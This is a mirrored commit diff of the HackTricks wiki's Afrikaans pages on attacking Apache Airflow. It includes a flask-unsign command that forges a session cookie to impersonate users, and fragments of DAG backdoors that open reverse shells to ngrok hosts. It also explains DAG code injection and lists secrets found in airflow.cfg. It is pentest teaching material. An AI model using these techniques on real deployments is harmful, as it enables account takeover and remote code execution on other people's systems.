mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-31 15:05:44 -08:00
Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/
This commit is contained in:
@@ -1,12 +1,12 @@
|
||||
# Apache Airflow Security
|
||||
# Apache Airflow Sekuriteit
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### Basiese Inligting
|
||||
|
||||
[**Apache Airflow**](https://airflow.apache.org) dien as 'n platform vir **die orkestrering en skedulering van datapipelines of werksvloei**. Die term "orkestrering" in die konteks van datapipelines dui op die proses van die rangskikking, koördinering en bestuur van komplekse dataverkies wat uit verskeie bronne ontstaan. Die primêre doel van hierdie georkestreerde datapipelines is om verwerkte en verbruikbare datastelle te verskaf. Hierdie datastelle word wyd gebruik deur 'n menigte toepassings, insluitend maar nie beperk tot besigheidsintelligensie-instrumente, datawetenskap en masjienleer modelle, wat almal fundamenteel is vir die funksionering van groot data toepassings.
|
||||
[**Apache Airflow**](https://airflow.apache.org) dien as 'n platform vir **die orkestrering en skedulering van datapipelines of werksvloei**. Die term "orkestrering" in die konteks van datapipelines dui op die proses van rangskikking, koördinering en bestuur van komplekse dataverkies wat uit verskeie bronne ontstaan. Die primêre doel van hierdie georkestreerde datapipelines is om verwerkte en verbruikbare datastelle te verskaf. Hierdie datastelle word wyd gebruik deur 'n menigte toepassings, insluitend maar nie beperk tot besigheidsintelligensie-instrumente, datawetenskap en masjienleer modelle, wat almal fundamenteel is vir die funksionering van groot data toepassings.
|
||||
|
||||
Basies sal Apache Airflow jou toelaat om **die uitvoering van kode te skeduleer wanneer iets** (gebeurtenis, cron) **gebeur**.
|
||||
Basies, Apache Airflow sal jou toelaat om **die uitvoering van kode te skeduleer wanneer iets** (gebeurtenis, cron) **gebeur**.
|
||||
|
||||
### Plaaslike Laboratorium
|
||||
|
||||
@@ -28,7 +28,7 @@ helm delete airflow-release
|
||||
```
|
||||
### Airflow Konfigurasie
|
||||
|
||||
Airflow mag **sensitiewe inligting** in sy konfigurasie stoor of jy kan swak konfigurasies in plek vind:
|
||||
Airflow mag **sensitiewe inligting** in sy konfigurasie stoor of jy kan swak konfigurasies vind:
|
||||
|
||||
{{#ref}}
|
||||
airflow-configuration.md
|
||||
@@ -44,7 +44,7 @@ airflow-rbac.md
|
||||
|
||||
### Aanvalle
|
||||
|
||||
#### Web Konsolering
|
||||
#### Web Konsol Enumerasie
|
||||
|
||||
As jy **toegang tot die webkonsol** het, mag jy in staat wees om sommige of al die volgende inligting te bekom:
|
||||
|
||||
@@ -62,22 +62,22 @@ Airflow sal standaard die waarde van die veranderlike in die GUI wys, egter, vol
|
||||
|
||||
.png>)
|
||||
|
||||
Egter, hierdie **waardes** kan steeds **herwin** word via **CLI** (jy moet DB toegang hê), **arbitraire DAG** uitvoering, **API** toegang tot die veranderlikes eindpunt (die API moet geaktiveer wees), en **selfs die GUI self!**\
|
||||
Egter, hierdie **waardes** kan steeds **herwin** word via **CLI** (jy moet DB toegang hê), **arbitraire DAG** uitvoering, **API** toegang tot die veranderlikes eindpunt (die API moet geaktiveer wees), en **selfs die GUI!**\
|
||||
Om toegang tot daardie waardes vanaf die GUI te verkry, kies net die **veranderlikes** wat jy wil toegang en **klik op Aksies -> Eksporteer**.\
|
||||
'n Ander manier is om 'n **bruteforce** op die **verborge waarde** uit te voer deur die **soekfilter** totdat jy dit kry:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Privilege Escalatie
|
||||
#### Privilege Escalation
|
||||
|
||||
As die **`expose_config`** konfigurasie op **Waar** gestel is, kan die **rol Gebruiker** en **bo** die **konfig in die web** **lees**. In hierdie konfig, verskyn die **`secret_key`**, wat beteken enige gebruiker met hierdie geldige kan **sy eie onderteken koekie skep om enige ander gebruikersrekening na te boots**.
|
||||
As die **`expose_config`** konfigurasie op **Waar** gestel is, kan die **rol Gebruiker** en **bo** die **konfig in die web** **lees**. In hierdie konfig, verskyn die **`secret_key`**, wat beteken enige gebruiker met hierdie geldige kan **sy eie ondertekende koekie skep om enige ander gebruikersrekening na te volg**.
|
||||
```bash
|
||||
flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"
|
||||
```
|
||||
#### DAG Backdoor (RCE in Airflow worker)
|
||||
#### DAG Agterdeur (RCE in Airflow werker)
|
||||
|
||||
As jy **skrywe toegang** het tot die plek waar die **DAGs gestoor word**, kan jy eenvoudig **een skep** wat vir jou 'n **omgekeerde skulp** sal stuur.\
|
||||
Let daarop dat hierdie omgekeerde skulp binne 'n **airflow worker container** uitgevoer gaan word:
|
||||
Let daarop dat hierdie omgekeerde skulp binne 'n **airflow werker houer** uitgevoer gaan word:
|
||||
```python
|
||||
import pendulum
|
||||
from airflow import DAG
|
||||
@@ -118,7 +118,7 @@ op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
|
||||
```
|
||||
#### DAG Backdoor (RCE in Airflow scheduler)
|
||||
|
||||
As jy iets stel om **uitgevoer te word in die wortel van die kode**, op die oomblik van hierdie skrywe, sal dit **deur die skeduleerder uitgevoer word** na 'n paar sekondes nadat dit binne die DAG se gids geplaas is.
|
||||
As jy iets stel om **uitgevoer te word in die wortel van die kode**, op die oomblik van hierdie skrywe, sal dit **deur die skeduler uitgevoer word** na 'n paar sekondes nadat dit binne die DAG se gids geplaas is.
|
||||
```python
|
||||
import pendulum, socket, os, pty
|
||||
from airflow import DAG
|
||||
@@ -144,7 +144,7 @@ op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}
|
||||
```
|
||||
#### DAG Skepping
|
||||
|
||||
As jy daarin slaag om 'n **masjien binne die DAG-kluster te kompromitteer**, kan jy nuwe **DAG-skripte** in die `dags/` gids skep en hulle sal **in die res van die masjiene** binne die DAG-kluster **gekopieer word**.
|
||||
As jy daarin slaag om 'n **masjien binne die DAG-kluster te kompromitteer**, kan jy nuwe **DAGs-skrifte** in die `dags/` gids skep en hulle sal **in die res van die masjiene** binne die DAG-kluster **gekopieer word**.
|
||||
|
||||
#### DAG Kode Inspuiting
|
||||
|
||||
@@ -154,7 +154,7 @@ Dit is wat in hierdie CVE gebeur het: [https://www.exploit-db.com/exploits/49927
|
||||
|
||||
Alles wat jy moet weet om **te begin soek na opdrag inspuitings in DAGs** is dat **parameters** met die kode **`dag_run.conf.get("param_name")`** **toegang verkry**.
|
||||
|
||||
Boonop kan dieselfde kwesbaarheid voorkom met **veranderlikes** (let daarop dat jy met genoeg voorregte die **waarde van die veranderlikes** in die GUI kan **beheer**). Veranderlikes word **toegang verkry met**:
|
||||
Boonop kan dieselfde kwesbaarheid met **veranderlikes** voorkom (let daarop dat jy met genoeg regte die **waarde van die veranderlikes** in die GUI kan **beheer**). Veranderlikes word **toegang verkry met**:
|
||||
```python
|
||||
from airflow.models import Variable
|
||||
[...]
|
||||
|
||||
@@ -4,91 +4,7 @@
|
||||
|
||||
## Konfigurasie Lêer
|
||||
|
||||
**Apache Airflow** genereer 'n **konfigurasie lêer** in al die airflow masjiene genaamd **`airflow.cfg`** in die huis van die airflow gebruiker. Hierdie konfigurasie lêer bevat konfigurasie-inligting en **kan interessante en sensitiewe inligting bevat.**
|
||||
|
||||
**Daar is twee maniere om toegang tot hierdie lêer te verkry: Deur 'n paar airflow masjiene te kompromitteer, of deur toegang tot die webkonsol.**
|
||||
|
||||
Let daarop dat die **waardes binne die konfigurasie lêer** **nie diegene mag wees wat gebruik word nie**, aangesien jy dit kan oorskryf deur omgewingsveranderlikes soos `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'` in te stel.
|
||||
|
||||
As jy toegang het tot die **konfigurasie lêer in die webbediener**, kan jy die **werklike lopende konfigurasie** op dieselfde bladsy waar die konfigurasie vertoon word, nagaan.\
|
||||
As jy **toegang het tot 'n paar masjiene binne die airflow omgewing**, kyk na die **omgewing**.
|
||||
|
||||
Sommige interessante waardes om na te kyk wanneer jy die konfigurasie lêer lees:
|
||||
|
||||
### \[api]
|
||||
|
||||
- **`access_control_allow_headers`**: Dit dui die **toegelate** **koppe** vir **CORS** aan
|
||||
- **`access_control_allow_methods`**: Dit dui die **toegelate metodes** vir **CORS** aan
|
||||
- **`access_control_allow_origins`**: Dit dui die **toegelate oorspronge** vir **CORS** aan
|
||||
- **`auth_backend`**: [**Volgens die dokumentasie**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) kan 'n paar opsies in plek wees om te konfigureer wie toegang tot die API kan hê:
|
||||
- `airflow.api.auth.backend.deny_all`: **Standaard kan niemand** toegang tot die API hê nie
|
||||
- `airflow.api.auth.backend.default`: **Enigiemand kan** toegang hê sonder verifikasie
|
||||
- `airflow.api.auth.backend.kerberos_auth`: Om **kerberos-verifikasie** te konfigureer
|
||||
- `airflow.api.auth.backend.basic_auth`: Vir **basiese verifikasie**
|
||||
- `airflow.composer.api.backend.composer_auth`: Gebruik komponiste se verifikasie (GCP) (van [**hier**](https://cloud.google.com/composer/docs/access-airflow-api)).
|
||||
- `composer_auth_user_registration_role`: Dit dui die **rol** aan wat die **komponiste gebruiker** binne **airflow** sal kry (**Op** standaard).
|
||||
- Jy kan ook jou eie **verifikasie** metode met python skep.
|
||||
- **`google_key_path`:** Pad na die **GCP diensrekening sleutel**
|
||||
|
||||
### **\[atlas]**
|
||||
|
||||
- **`password`**: Atlas wagwoord
|
||||
- **`username`**: Atlas gebruikersnaam
|
||||
|
||||
### \[celery]
|
||||
|
||||
- **`flower_basic_auth`** : Kredensiale (_user1:password1,user2:password2_)
|
||||
- **`result_backend`**: Postgres url wat **kredensiale** kan bevat.
|
||||
- **`ssl_cacert`**: Pad na die cacert
|
||||
- **`ssl_cert`**: Pad na die sertifikaat
|
||||
- **`ssl_key`**: Pad na die sleutel
|
||||
|
||||
### \[core]
|
||||
|
||||
- **`dag_discovery_safe_mode`**: Geaktiveer deur standaard. Wanneer DAGs ontdek word, ignoreer enige lêers wat nie die strings `DAG` en `airflow` bevat nie.
|
||||
- **`fernet_key`**: Sleutel om versleutelde veranderlikes te stoor (simmetries)
|
||||
- **`hide_sensitive_var_conn_fields`**: Geaktiveer deur standaard, verberg sensitiewe inligting van verbindings.
|
||||
- **`security`**: Watter sekuriteitsmodule om te gebruik (byvoorbeeld kerberos)
|
||||
|
||||
### \[dask]
|
||||
|
||||
- **`tls_ca`**: Pad na ca
|
||||
- **`tls_cert`**: Pad na die sertifikaat
|
||||
- **`tls_key`**: Pad na die tls sleutel
|
||||
|
||||
### \[kerberos]
|
||||
|
||||
- **`ccache`**: Pad na ccache lêer
|
||||
- **`forwardable`**: Geaktiveer deur standaard
|
||||
|
||||
### \[logging]
|
||||
|
||||
- **`google_key_path`**: Pad na GCP JSON kredensiale.
|
||||
|
||||
### \[secrets]
|
||||
|
||||
- **`backend`**: Volledige klasnaam van die secrets backend om te aktiveer
|
||||
- **`backend_kwargs`**: Die backend_kwargs parameter word in 'n woordeboek gelaai en aan **init** van die secrets backend klas oorgedra.
|
||||
|
||||
### \[smtp]
|
||||
|
||||
- **`smtp_password`**: SMTP wagwoord
|
||||
- **`smtp_user`**: SMTP gebruiker
|
||||
|
||||
### \[webserver]
|
||||
|
||||
- **`cookie_samesite`**: Standaard is dit **Lax**, so dit is reeds die swakste moontlike waarde
|
||||
- **`cookie_secure`**: Stel **veilige vlag** op die sessie koekie
|
||||
- **`expose_config`**: Standaard is dit Vals, as waar, kan die **konfigurasie** **gelees** word vanaf die web **konsol**
|
||||
- **`expose_stacktrace`**: Standaard is dit Waar, dit sal **python tracebacks** vertoon (potensieel nuttig vir 'n aanvaller)
|
||||
- **`secret_key`**: Dit is die **sleutel wat deur flask gebruik word om die koekies te teken** (as jy dit het, kan jy **enige gebruiker in Airflow naboots**)
|
||||
- **`web_server_ssl_cert`**: **Pad** na die **SSL** **sertifikaat**
|
||||
- **`web_server_ssl_key`**: **Pad** na die **SSL** **Sleutel**
|
||||
- **`x_frame_enabled`**: Standaard is **Waar**, so klikjacking is nie moontlik nie
|
||||
|
||||
### Web Verifikasie
|
||||
|
||||
Standaard word **web verifikasie** in die lêer **`webserver_config.py`** gespesifiseer en is geconfigureer as
|
||||
**Apache Airflow** genereer 'n **konfigurasie lêer** in al die airflow masjiene genaamd **`airflow.cfg`** in die
|
||||
```bash
|
||||
AUTH_TYPE = AUTH_DB
|
||||
```
|
||||
@@ -96,7 +12,7 @@ Wat beteken dat die **authentisering teen die databasis nagegaan word**. egter,
|
||||
```bash
|
||||
AUTH_TYPE = AUTH_OAUTH
|
||||
```
|
||||
Om die **verifikasie aan derdeparty-dienste** oor te laat.
|
||||
Om die **authentisering aan derdeparty dienste** oor te laat.
|
||||
|
||||
Daar is egter ook 'n opsie om **anonieme gebruikers toegang** te gee, deur die volgende parameter op die **gewenste rol** in te stel:
|
||||
```bash
|
||||
|
||||
@@ -10,7 +10,7 @@
|
||||
- **`Public`** gebruikers (anoniem) het geen toestemmings nie.
|
||||
- **`Viewer`** gebruikers het beperkte kyktoestemmings (slegs lees). Dit **kan nie die konfigurasie sien nie.**
|
||||
- **`User`** gebruikers het `Viewer` toestemmings plus addisionele gebruikers toestemmings wat hom toelaat om DAGs 'n bietjie te bestuur. Hy **kan die konfigurasie lêer sien.**
|
||||
- **`Op`** gebruikers het `User` toestemmings plus addisionele operasionele toestemmings.
|
||||
- **`Op`** gebruikers het `User` toestemmings plus addisionele op toestemmings.
|
||||
|
||||
Let daarop dat **admin** gebruikers kan **meer rolle skep** met meer **fynere toestemmings**.
|
||||
|
||||
|
||||
Reference in New Issue
Block a user